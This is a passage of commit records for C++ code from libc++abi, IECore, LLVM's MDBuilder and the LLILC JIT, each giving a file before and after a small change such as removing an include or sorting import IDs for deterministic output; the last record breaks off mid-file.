{"text":"<commit_before>\/\/===------------------------- cxa_exception.cpp --------------------------===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is dual licensed under the MIT and the University of Illinois Open\n\/\/ Source Licenses. See LICENSE.TXT for details.\n\/\/\n\/\/  \n\/\/  This file implements the \"Exception Handling APIs\"\n\/\/  http:\/\/mentorembedded.github.io\/cxx-abi\/abi-eh.html\n\/\/  \n\/\/===----------------------------------------------------------------------===\/\/\n\n\/\/ Support functions for the no-exceptions libc++ library\n\n#include \"config.h\"\n#include \"cxxabi.h\"\n\n#include <exception>        \/\/ for std::terminate\n#include \"cxa_exception.hpp\"\n#include \"cxa_handlers.hpp\"\n\nnamespace __cxxabiv1 {\n\nextern \"C\" {\n\nvoid\n__cxa_increment_exception_refcount(void *thrown_object) throw() {\n    if (thrown_object != nullptr)\n        std::terminate();\n}\n\nvoid\n__cxa_decrement_exception_refcount(void *thrown_object) throw() {\n    if (thrown_object != nullptr)\n      std::terminate();\n}\n\n\nvoid *__cxa_current_primary_exception() throw() { return nullptr; }\n\nvoid\n__cxa_rethrow_primary_exception(void* thrown_object) {\n    if (thrown_object != nullptr)\n      std::terminate();\n}\n\nbool\n__cxa_uncaught_exception() throw() { return false; }\n\nunsigned int\n__cxa_uncaught_exceptions() throw() { return 0; }\n\n}  \/\/ extern \"C\"\n\n}  \/\/ abi\n<commit_msg>[libc++abi] Remove missed use of config.h<commit_after>\/\/===------------------------- cxa_exception.cpp --------------------------===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is dual licensed under the MIT and the University of Illinois Open\n\/\/ Source Licenses. See LICENSE.TXT for details.\n\/\/\n\/\/  \n\/\/  This file implements the \"Exception Handling APIs\"\n\/\/  http:\/\/mentorembedded.github.io\/cxx-abi\/abi-eh.html\n\/\/  \n\/\/===----------------------------------------------------------------------===\/\/\n\n\/\/ Support functions for the no-exceptions libc++ library\n\n#include \"cxxabi.h\"\n\n#include <exception>        \/\/ for std::terminate\n#include \"cxa_exception.hpp\"\n#include \"cxa_handlers.hpp\"\n\nnamespace __cxxabiv1 {\n\nextern \"C\" {\n\nvoid\n__cxa_increment_exception_refcount(void *thrown_object) throw() {\n    if (thrown_object != nullptr)\n        std::terminate();\n}\n\nvoid\n__cxa_decrement_exception_refcount(void *thrown_object) throw() {\n    if (thrown_object != nullptr)\n      std::terminate();\n}\n\n\nvoid *__cxa_current_primary_exception() throw() { return nullptr; }\n\nvoid\n__cxa_rethrow_primary_exception(void* thrown_object) {\n    if (thrown_object != nullptr)\n      std::terminate();\n}\n\nbool\n__cxa_uncaught_exception() throw() { return false; }\n\nunsigned int\n__cxa_uncaught_exceptions() throw() { return 0; }\n\n}  \/\/ extern \"C\"\n\n}  \/\/ abi\n<|endoftext|>"}
{"text":"<commit_before>\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\n\/\/  Copyright (c) 2007, Image Engine Design Inc. All rights reserved.\n\/\/\n\/\/  Redistribution and use in source and binary forms, with or without\n\/\/  modification, are permitted provided that the following conditions are\n\/\/  met:\n\/\/\n\/\/     * Redistributions of source code must retain the above copyright\n\/\/       notice, this list of conditions and the following disclaimer.\n\/\/\n\/\/     * Redistributions in binary form must reproduce the above copyright\n\/\/       notice, this list of conditions and the following disclaimer in the\n\/\/       documentation and\/or other materials provided with the distribution.\n\/\/\n\/\/     * Neither the name of Image Engine Design nor the names of any\n\/\/       other contributors to this software may be used to endorse or\n\/\/       promote products derived from this software without specific prior\n\/\/       written permission.\n\/\/\n\/\/  THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS\n\/\/  IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO,\n\/\/  THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR\n\/\/  PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR\n\/\/  CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,\n\/\/  EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,\n\/\/  PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR\n\/\/  PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF\n\/\/  LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING\n\/\/  NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS\n\/\/  SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n#include \"IECore\/ObjectReader.h\"\n#include \"IECore\/FileIndexedIO.h\"\n#include \"IECore\/FileNameParameter.h\"\n\n#ifdef IECORE_WITH_SQLITE\n    #include \"IECore\/SQLiteIndexedIO.h\"\n#endif \/\/ IECORE_WITH_SQLITE\n\n#include <cassert>\n\nusing namespace IECore;\nusing namespace boost;\n\nconst Reader::ReaderDescription<ObjectReader> ObjectReader::g_readerDescription( \"cob\" );\n\nObjectReader::ObjectReader() : \n\t\tReader( \"ObjectReader\", \"Reads instances of a single Object from a file with a .cob extension\" )\n{\n}\n\nObjectReader::ObjectReader( const std::string &fileName ) : \n\t\tReader( \"ObjectReader\", \"Reads instances of a single Object from a file with a .cob extension\" )\n{\n\tm_fileNameParameter->setTypedValue( fileName );\n}\n\nObjectReader::~ObjectReader()\n{\n}\n\nbool ObjectReader::canRead( const std::string &fileName )\n{\t\n\t\/\/ Ideally we'd like to look inside the file and see if it contains one object only\n\t\/\/ but for efficiency purposes we'll just try and open the file as a database and\n\t\/\/ see if that succeeds. We could possibly query the structure of the database and\n\t\/\/ check that it matches the signature of a one-object cache without needing to \n\t\/\/ actually read the data.\n\tIndexedIOInterfacePtr io = 0;\n\t\n\ttry\n\t{\n\t\tio = open(fileName);\n\t\treturn true;\n\t} \n\tcatch (Exception &e)\n\t{\n\t\treturn false;\n\t}\n\t\n\treturn io != 0;\n}\n\nObjectPtr ObjectReader::doOperation( ConstCompoundObjectPtr operands )\n{\n\tIndexedIOInterfacePtr io = open(fileName());\n\treturn Object::load( io );\n}\n\nCompoundDataPtr ObjectReader::readHeader() const\n{\n\tIndexedIOInterfacePtr io = open(fileName());\n\tio->chdir( \"header\" );\n\treturn runTimeCast<CompoundData>( Object::load( io ) );\n}\n\nIndexedIOInterfacePtr ObjectReader::open( const std::string &fileName )\n{\n\tIndexedIOInterfacePtr iface;\n\t\n#ifdef IECORE_WITH_SQLITE\n\ttry \n\t{\n\t\tiface = new FileIndexedIO( fileName, \"\/\", IndexedIO::Shared | IndexedIO::Read );\n\t} \n\tcatch (...)\n\t{\n\t\tiface = new SQLiteIndexedIO( fileName, \"\/\", IndexedIO::Shared | IndexedIO::Read );\n\t}\n#else\n\tiface = new FileIndexedIO( fileName, \"\/\", IndexedIO::Shared | IndexedIO::Read );\n#endif\n\t\n\treturn iface;\n}\n<commit_msg>Now calling optimised FileIndexedIO::canRead<commit_after>\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\n\/\/  Copyright (c) 2007, Image Engine Design Inc. All rights reserved.\n\/\/\n\/\/  Redistribution and use in source and binary forms, with or without\n\/\/  modification, are permitted provided that the following conditions are\n\/\/  met:\n\/\/\n\/\/     * Redistributions of source code must retain the above copyright\n\/\/       notice, this list of conditions and the following disclaimer.\n\/\/\n\/\/     * Redistributions in binary form must reproduce the above copyright\n\/\/       notice, this list of conditions and the following disclaimer in the\n\/\/       documentation and\/or other materials provided with the distribution.\n\/\/\n\/\/     * Neither the name of Image Engine Design nor the names of any\n\/\/       other contributors to this software may be used to endorse or\n\/\/       promote products derived from this software without specific prior\n\/\/       written permission.\n\/\/\n\/\/  THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS\n\/\/  IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO,\n\/\/  THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR\n\/\/  PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR\n\/\/  CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,\n\/\/  EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,\n\/\/  PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR\n\/\/  PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF\n\/\/  LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING\n\/\/  NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS\n\/\/  SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n#include \"IECore\/ObjectReader.h\"\n#include \"IECore\/FileIndexedIO.h\"\n#include \"IECore\/FileNameParameter.h\"\n\n#ifdef IECORE_WITH_SQLITE\n    #include \"IECore\/SQLiteIndexedIO.h\"\n#endif \/\/ IECORE_WITH_SQLITE\n\n#include <cassert>\n\nusing namespace IECore;\nusing namespace boost;\n\nconst Reader::ReaderDescription<ObjectReader> ObjectReader::g_readerDescription( \"cob\" );\n\nObjectReader::ObjectReader() : \n\t\tReader( \"ObjectReader\", \"Reads instances of a single Object from a file with a .cob extension\" )\n{\n}\n\nObjectReader::ObjectReader( const std::string &fileName ) : \n\t\tReader( \"ObjectReader\", \"Reads instances of a single Object from a file with a .cob extension\" )\n{\n\tm_fileNameParameter->setTypedValue( fileName );\n}\n\nObjectReader::~ObjectReader()\n{\n}\n\nbool ObjectReader::canRead( const std::string &fileName )\n{\t\n\t\/\/ Ideally we'd like to look inside the file and see if it contains one object only\n\t\/\/ but for efficiency purposes we'll just try and open the file as a database and\n\t\/\/ see if that succeeds. We could possibly query the structure of the database and\n\t\/\/ check that it matches the signature of a one-object cache without needing to \n\t\/\/ actually read the data.\n\tIndexedIOInterfacePtr io = 0;\n\t\n\ttry\n\t{\n\t\tif ( FileIndexedIO::canRead( fileName ) )\n\t\t{\n\t\t\treturn true;\n\t\t}\n\t\n\t\tio = open(fileName);\n\t\treturn true;\n\t} \n\tcatch (Exception &e)\n\t{\n\t\treturn false;\n\t}\n\t\n\treturn io != 0;\n}\n\nObjectPtr ObjectReader::doOperation( ConstCompoundObjectPtr operands )\n{\n\tIndexedIOInterfacePtr io = open(fileName());\n\treturn Object::load( io );\n}\n\nCompoundDataPtr ObjectReader::readHeader() const\n{\n\tIndexedIOInterfacePtr io = open(fileName());\n\tio->chdir( \"header\" );\n\treturn runTimeCast<CompoundData>( Object::load( io ) );\n}\n\nIndexedIOInterfacePtr ObjectReader::open( const std::string &fileName )\n{\n\tIndexedIOInterfacePtr iface;\n\t\n#ifdef IECORE_WITH_SQLITE\n\ttry \n\t{\n\t\tiface = new FileIndexedIO( fileName, \"\/\", IndexedIO::Shared | IndexedIO::Read );\n\t} \n\tcatch (...)\n\t{\n\t\tiface = new SQLiteIndexedIO( fileName, \"\/\", IndexedIO::Shared | IndexedIO::Read );\n\t}\t\n#else\n\tiface = new FileIndexedIO( fileName, \"\/\", IndexedIO::Shared | IndexedIO::Read );\n#endif\n\t\n\treturn iface;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/===---- llvm\/MDBuilder.cpp - Builder for LLVM metadata ------------------===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ This file defines the MDBuilder class, which is used as a convenient way to\n\/\/ create LLVM metadata with a consistent and simplified interface.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#include \"llvm\/IR\/MDBuilder.h\"\n#include \"llvm\/IR\/Constants.h\"\n#include \"llvm\/IR\/Metadata.h\"\nusing namespace llvm;\n\nMDString *MDBuilder::createString(StringRef Str) {\n  return MDString::get(Context, Str);\n}\n\nConstantAsMetadata *MDBuilder::createConstant(Constant *C) {\n  return ConstantAsMetadata::get(C);\n}\n\nMDNode *MDBuilder::createFPMath(float Accuracy) {\n  if (Accuracy == 0.0)\n    return nullptr;\n  assert(Accuracy > 0.0 && \"Invalid fpmath accuracy!\");\n  auto *Op =\n      createConstant(ConstantFP::get(Type::getFloatTy(Context), Accuracy));\n  return MDNode::get(Context, Op);\n}\n\nMDNode *MDBuilder::createBranchWeights(uint32_t TrueWeight,\n                                       uint32_t FalseWeight) {\n  return createBranchWeights({TrueWeight, FalseWeight});\n}\n\nMDNode *MDBuilder::createBranchWeights(ArrayRef<uint32_t> Weights) {\n  assert(Weights.size() >= 1 && \"Need at least one branch weights!\");\n\n  SmallVector<Metadata *, 4> Vals(Weights.size() + 1);\n  Vals[0] = createString(\"branch_weights\");\n\n  Type *Int32Ty = Type::getInt32Ty(Context);\n  for (unsigned i = 0, e = Weights.size(); i != e; ++i)\n    Vals[i + 1] = createConstant(ConstantInt::get(Int32Ty, Weights[i]));\n\n  return MDNode::get(Context, Vals);\n}\n\nMDNode *MDBuilder::createUnpredictable() {\n  return MDNode::get(Context, None);\n}\n\nMDNode *MDBuilder::createFunctionEntryCount(\n    uint64_t Count, const DenseSet<GlobalValue::GUID> *Imports) {\n  Type *Int64Ty = Type::getInt64Ty(Context);\n  SmallVector<Metadata *, 8> Ops;\n  Ops.push_back(createString(\"function_entry_count\"));\n  Ops.push_back(createConstant(ConstantInt::get(Int64Ty, Count)));\n  if (Imports)\n    for (auto ID : *Imports)\n      Ops.push_back(createConstant(ConstantInt::get(Int64Ty, ID)));\n  return MDNode::get(Context, Ops);\n}\n\nMDNode *MDBuilder::createFunctionSectionPrefix(StringRef Prefix) {\n  return MDNode::get(Context,\n                     {createString(\"function_section_prefix\"),\n                      createString(Prefix)});\n}\n\nMDNode *MDBuilder::createRange(const APInt &Lo, const APInt &Hi) {\n  assert(Lo.getBitWidth() == Hi.getBitWidth() && \"Mismatched bitwidths!\");\n\n  Type *Ty = IntegerType::get(Context, Lo.getBitWidth());\n  return createRange(ConstantInt::get(Ty, Lo), ConstantInt::get(Ty, Hi));\n}\n\nMDNode *MDBuilder::createRange(Constant *Lo, Constant *Hi) {\n  \/\/ If the range is everything then it is useless.\n  if (Hi == Lo)\n    return nullptr;\n\n  \/\/ Return the range [Lo, Hi).\n  return MDNode::get(Context, {createConstant(Lo), createConstant(Hi)});\n}\n\nMDNode *MDBuilder::createAnonymousAARoot(StringRef Name, MDNode *Extra) {\n  \/\/ To ensure uniqueness the root node is self-referential.\n  auto Dummy = MDNode::getTemporary(Context, None);\n\n  SmallVector<Metadata *, 3> Args(1, Dummy.get());\n  if (Extra)\n    Args.push_back(Extra);\n  if (!Name.empty())\n    Args.push_back(createString(Name));\n  MDNode *Root = MDNode::get(Context, Args);\n\n  \/\/ At this point we have\n  \/\/   !0 = metadata !{}            <- dummy\n  \/\/   !1 = metadata !{metadata !0} <- root\n  \/\/ Replace the dummy operand with the root node itself and delete the dummy.\n  Root->replaceOperandWith(0, Root);\n\n  \/\/ We now have\n  \/\/   !1 = metadata !{metadata !1} <- self-referential root\n  return Root;\n}\n\nMDNode *MDBuilder::createTBAARoot(StringRef Name) {\n  return MDNode::get(Context, createString(Name));\n}\n\n\/\/\/ \\brief Return metadata for a non-root TBAA node with the given name,\n\/\/\/ parent in the TBAA tree, and value for 'pointsToConstantMemory'.\nMDNode *MDBuilder::createTBAANode(StringRef Name, MDNode *Parent,\n                                  bool isConstant) {\n  if (isConstant) {\n    Constant *Flags = ConstantInt::get(Type::getInt64Ty(Context), 1);\n    return MDNode::get(Context,\n                       {createString(Name), Parent, createConstant(Flags)});\n  }\n  return MDNode::get(Context, {createString(Name), Parent});\n}\n\nMDNode *MDBuilder::createAliasScopeDomain(StringRef Name) {\n  return MDNode::get(Context, createString(Name));\n}\n\nMDNode *MDBuilder::createAliasScope(StringRef Name, MDNode *Domain) {\n  return MDNode::get(Context, {createString(Name), Domain});\n}\n\n\/\/\/ \\brief Return metadata for a tbaa.struct node with the given\n\/\/\/ struct field descriptions.\nMDNode *MDBuilder::createTBAAStructNode(ArrayRef<TBAAStructField> Fields) {\n  SmallVector<Metadata *, 4> Vals(Fields.size() * 3);\n  Type *Int64 = Type::getInt64Ty(Context);\n  for (unsigned i = 0, e = Fields.size(); i != e; ++i) {\n    Vals[i * 3 + 0] = createConstant(ConstantInt::get(Int64, Fields[i].Offset));\n    Vals[i * 3 + 1] = createConstant(ConstantInt::get(Int64, Fields[i].Size));\n    Vals[i * 3 + 2] = Fields[i].TBAA;\n  }\n  return MDNode::get(Context, Vals);\n}\n\n\/\/\/ \\brief Return metadata for a TBAA struct node in the type DAG\n\/\/\/ with the given name, a list of pairs (offset, field type in the type DAG).\nMDNode *MDBuilder::createTBAAStructTypeNode(\n    StringRef Name, ArrayRef<std::pair<MDNode *, uint64_t>> Fields) {\n  SmallVector<Metadata *, 4> Ops(Fields.size() * 2 + 1);\n  Type *Int64 = Type::getInt64Ty(Context);\n  Ops[0] = createString(Name);\n  for (unsigned i = 0, e = Fields.size(); i != e; ++i) {\n    Ops[i * 2 + 1] = Fields[i].first;\n    Ops[i * 2 + 2] = createConstant(ConstantInt::get(Int64, Fields[i].second));\n  }\n  return MDNode::get(Context, Ops);\n}\n\n\/\/\/ \\brief Return metadata for a TBAA scalar type node with the\n\/\/\/ given name, an offset and a parent in the TBAA type DAG.\nMDNode *MDBuilder::createTBAAScalarTypeNode(StringRef Name, MDNode *Parent,\n                                            uint64_t Offset) {\n  ConstantInt *Off = ConstantInt::get(Type::getInt64Ty(Context), Offset);\n  return MDNode::get(Context,\n                     {createString(Name), Parent, createConstant(Off)});\n}\n\n\/\/\/ \\brief Return metadata for a TBAA tag node with the given\n\/\/\/ base type, access type and offset relative to the base type.\nMDNode *MDBuilder::createTBAAStructTagNode(MDNode *BaseType, MDNode *AccessType,\n                                           uint64_t Offset, bool IsConstant) {\n  IntegerType *Int64 = Type::getInt64Ty(Context);\n  ConstantInt *Off = ConstantInt::get(Int64, Offset);\n  if (IsConstant) {\n    return MDNode::get(Context, {BaseType, AccessType, createConstant(Off),\n                                 createConstant(ConstantInt::get(Int64, 1))});\n  }\n  return MDNode::get(Context, {BaseType, AccessType, createConstant(Off)});\n}\n<commit_msg>[PGO] Fixed non-determinism with DenseSet storing function importing info.<commit_after>\/\/===---- llvm\/MDBuilder.cpp - Builder for LLVM metadata ------------------===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ This file defines the MDBuilder class, which is used as a convenient way to\n\/\/ create LLVM metadata with a consistent and simplified interface.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#include \"llvm\/IR\/MDBuilder.h\"\n#include \"llvm\/IR\/Constants.h\"\n#include \"llvm\/IR\/Metadata.h\"\nusing namespace llvm;\n\nMDString *MDBuilder::createString(StringRef Str) {\n  return MDString::get(Context, Str);\n}\n\nConstantAsMetadata *MDBuilder::createConstant(Constant *C) {\n  return ConstantAsMetadata::get(C);\n}\n\nMDNode *MDBuilder::createFPMath(float Accuracy) {\n  if (Accuracy == 0.0)\n    return nullptr;\n  assert(Accuracy > 0.0 && \"Invalid fpmath accuracy!\");\n  auto *Op =\n      createConstant(ConstantFP::get(Type::getFloatTy(Context), Accuracy));\n  return MDNode::get(Context, Op);\n}\n\nMDNode *MDBuilder::createBranchWeights(uint32_t TrueWeight,\n                                       uint32_t FalseWeight) {\n  return createBranchWeights({TrueWeight, FalseWeight});\n}\n\nMDNode *MDBuilder::createBranchWeights(ArrayRef<uint32_t> Weights) {\n  assert(Weights.size() >= 1 && \"Need at least one branch weights!\");\n\n  SmallVector<Metadata *, 4> Vals(Weights.size() + 1);\n  Vals[0] = createString(\"branch_weights\");\n\n  Type *Int32Ty = Type::getInt32Ty(Context);\n  for (unsigned i = 0, e = Weights.size(); i != e; ++i)\n    Vals[i + 1] = createConstant(ConstantInt::get(Int32Ty, Weights[i]));\n\n  return MDNode::get(Context, Vals);\n}\n\nMDNode *MDBuilder::createUnpredictable() {\n  return MDNode::get(Context, None);\n}\n\nMDNode *MDBuilder::createFunctionEntryCount(\n    uint64_t Count, const DenseSet<GlobalValue::GUID> *Imports) {\n  Type *Int64Ty = Type::getInt64Ty(Context);\n  SmallVector<Metadata *, 8> Ops;\n  Ops.push_back(createString(\"function_entry_count\"));\n  Ops.push_back(createConstant(ConstantInt::get(Int64Ty, Count)));\n  if (Imports) {\n    SmallVector<GlobalValue::GUID, 2> OrderID(Imports->begin(), Imports->end());\n    std::stable_sort(OrderID.begin(), OrderID.end(),\n      [] (GlobalValue::GUID A, GlobalValue::GUID B) {\n        return A < B;});\n    for (auto ID : OrderID)\n      Ops.push_back(createConstant(ConstantInt::get(Int64Ty, ID)));\n  }\n  return MDNode::get(Context, Ops);\n}\n\nMDNode *MDBuilder::createFunctionSectionPrefix(StringRef Prefix) {\n  return MDNode::get(Context,\n                     {createString(\"function_section_prefix\"),\n                      createString(Prefix)});\n}\n\nMDNode *MDBuilder::createRange(const APInt &Lo, const APInt &Hi) {\n  assert(Lo.getBitWidth() == Hi.getBitWidth() && \"Mismatched bitwidths!\");\n\n  Type *Ty = IntegerType::get(Context, Lo.getBitWidth());\n  return createRange(ConstantInt::get(Ty, Lo), ConstantInt::get(Ty, Hi));\n}\n\nMDNode *MDBuilder::createRange(Constant *Lo, Constant *Hi) {\n  \/\/ If the range is everything then it is useless.\n  if (Hi == Lo)\n    return nullptr;\n\n  \/\/ Return the range [Lo, Hi).\n  return MDNode::get(Context, {createConstant(Lo), createConstant(Hi)});\n}\n\nMDNode *MDBuilder::createAnonymousAARoot(StringRef Name, MDNode *Extra) {\n  \/\/ To ensure uniqueness the root node is self-referential.\n  auto Dummy = MDNode::getTemporary(Context, None);\n\n  SmallVector<Metadata *, 3> Args(1, Dummy.get());\n  if (Extra)\n    Args.push_back(Extra);\n  if (!Name.empty())\n    Args.push_back(createString(Name));\n  MDNode *Root = MDNode::get(Context, Args);\n\n  \/\/ At this point we have\n  \/\/   !0 = metadata !{}            <- dummy\n  \/\/   !1 = metadata !{metadata !0} <- root\n  \/\/ Replace the dummy operand with the root node itself and delete the dummy.\n  Root->replaceOperandWith(0, Root);\n\n  \/\/ We now have\n  \/\/   !1 = metadata !{metadata !1} <- self-referential root\n  return Root;\n}\n\nMDNode *MDBuilder::createTBAARoot(StringRef Name) {\n  return MDNode::get(Context, createString(Name));\n}\n\n\/\/\/ \\brief Return metadata for a non-root TBAA node with the given name,\n\/\/\/ parent in the TBAA tree, and value for 'pointsToConstantMemory'.\nMDNode *MDBuilder::createTBAANode(StringRef Name, MDNode *Parent,\n                                  bool isConstant) {\n  if (isConstant) {\n    Constant *Flags = ConstantInt::get(Type::getInt64Ty(Context), 1);\n    return MDNode::get(Context,\n                       {createString(Name), Parent, createConstant(Flags)});\n  }\n  return MDNode::get(Context, {createString(Name), Parent});\n}\n\nMDNode *MDBuilder::createAliasScopeDomain(StringRef Name) {\n  return MDNode::get(Context, createString(Name));\n}\n\nMDNode *MDBuilder::createAliasScope(StringRef Name, MDNode *Domain) {\n  return MDNode::get(Context, {createString(Name), Domain});\n}\n\n\/\/\/ \\brief Return metadata for a tbaa.struct node with the given\n\/\/\/ struct field descriptions.\nMDNode *MDBuilder::createTBAAStructNode(ArrayRef<TBAAStructField> Fields) {\n  SmallVector<Metadata *, 4> Vals(Fields.size() * 3);\n  Type *Int64 = Type::getInt64Ty(Context);\n  for (unsigned i = 0, e = Fields.size(); i != e; ++i) {\n    Vals[i * 3 + 0] = createConstant(ConstantInt::get(Int64, Fields[i].Offset));\n    Vals[i * 3 + 1] = createConstant(ConstantInt::get(Int64, Fields[i].Size));\n    Vals[i * 3 + 2] = Fields[i].TBAA;\n  }\n  return MDNode::get(Context, Vals);\n}\n\n\/\/\/ \\brief Return metadata for a TBAA struct node in the type DAG\n\/\/\/ with the given name, a list of pairs (offset, field type in the type DAG).\nMDNode *MDBuilder::createTBAAStructTypeNode(\n    StringRef Name, ArrayRef<std::pair<MDNode *, uint64_t>> Fields) {\n  SmallVector<Metadata *, 4> Ops(Fields.size() * 2 + 1);\n  Type *Int64 = Type::getInt64Ty(Context);\n  Ops[0] = createString(Name);\n  for (unsigned i = 0, e = Fields.size(); i != e; ++i) {\n    Ops[i * 2 + 1] = Fields[i].first;\n    Ops[i * 2 + 2] = createConstant(ConstantInt::get(Int64, Fields[i].second));\n  }\n  return MDNode::get(Context, Ops);\n}\n\n\/\/\/ \\brief Return metadata for a TBAA scalar type node with the\n\/\/\/ given name, an offset and a parent in the TBAA type DAG.\nMDNode *MDBuilder::createTBAAScalarTypeNode(StringRef Name, MDNode *Parent,\n                                            uint64_t Offset) {\n  ConstantInt *Off = ConstantInt::get(Type::getInt64Ty(Context), Offset);\n  return MDNode::get(Context,\n                     {createString(Name), Parent, createConstant(Off)});\n}\n\n\/\/\/ \\brief Return metadata for a TBAA tag node with the given\n\/\/\/ base type, access type and offset relative to the base type.\nMDNode *MDBuilder::createTBAAStructTagNode(MDNode *BaseType, MDNode *AccessType,\n                                           uint64_t Offset, bool IsConstant) {\n  IntegerType *Int64 = Type::getInt64Ty(Context);\n  ConstantInt *Off = ConstantInt::get(Int64, Offset);\n  if (IsConstant) {\n    return MDNode::get(Context, {BaseType, AccessType, createConstant(Off),\n                                 createConstant(ConstantInt::get(Int64, 1))});\n  }\n  return MDNode::get(Context, {BaseType, AccessType, createConstant(Off)});\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/===---- lib\/Jit\/LLILCJit.cpp --------------------------------*- C++ -*-===\/\/\n\/\/\n\/\/ LLILC\n\/\/\n\/\/ Copyright (c) Microsoft. All rights reserved.\n\/\/ Licensed under the MIT license.\n\/\/ See LICENSE file in the project root for full license information.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\/\n\/\/\/ \\file\n\/\/\/ \\brief Implementation of the main Jit entry points.\n\/\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#include \"jitpch.h\"\n#include \"LLILCJit.h\"\n#include \"options.h\"\n#include \"readerir.h\"\n#include \"abi.h\"\n#include \"EEMemoryManager.h\"\n#include \"llvm\/CodeGen\/GCs.h\"\n#include \"llvm\/ExecutionEngine\/ExecutionEngine.h\"\n#include \"llvm\/ExecutionEngine\/MCJIT.h\"\n#include \"llvm\/ExecutionEngine\/SectionMemoryManager.h\"\n#include \"llvm\/IR\/DataLayout.h\"\n#include \"llvm\/IR\/DerivedTypes.h\"\n#include \"llvm\/IR\/IRBuilder.h\"\n#include \"llvm\/IRReader\/IRReader.h\"\n#include \"llvm\/IR\/LegacyPassManager.h\"\n#include \"llvm\/IR\/LLVMContext.h\"\n#include \"llvm\/IR\/Module.h\"\n#include \"llvm\/IR\/Verifier.h\"\n#include \"llvm\/IR\/PassManager.h\"\n#include \"llvm\/Support\/SourceMgr.h\"\n#include \"llvm\/Support\/TargetSelect.h\"\n#include \"llvm\/Support\/Timer.h\"\n#include \"llvm\/Support\/Debug.h\"\n#include \"llvm\/Support\/Format.h\"\n#include \"llvm\/Support\/Signals.h\"\n#include \"llvm\/Support\/CommandLine.h\"\n#include \"llvm\/Transforms\/Scalar.h\"\n#include \"llvm\/Transforms\/IPO\/PassManagerBuilder.h\"\n#include <string>\n\nusing namespace llvm;\n\n\/\/ Get the LLVM IR dump level. For now this is done by directly\n\/\/ accessing environment variable. When CLR config support is\n\/\/ included, update it here.\nLLVMDumpLevel dumpLevel() {\n  const char *LevelCStr = getenv(\"DUMPLLVMIR\");\n  if (LevelCStr) {\n    std::string Level = LevelCStr;\n    std::transform(Level.begin(), Level.end(), Level.begin(), ::toupper);\n    if (Level.compare(\"VERBOSE\") == 0) {\n      return VERBOSE;\n    }\n    if (Level.compare(\"SUMMARY\") == 0) {\n      return SUMMARY;\n    }\n  }\n  return NODUMP;\n}\n\n\/\/ Get the GC-Scheme used by the runtime -- conservative\/precise\n\/\/ For now this is done by directly accessing environment variable.\n\/\/ When CLR config support is included, update it here.\nbool 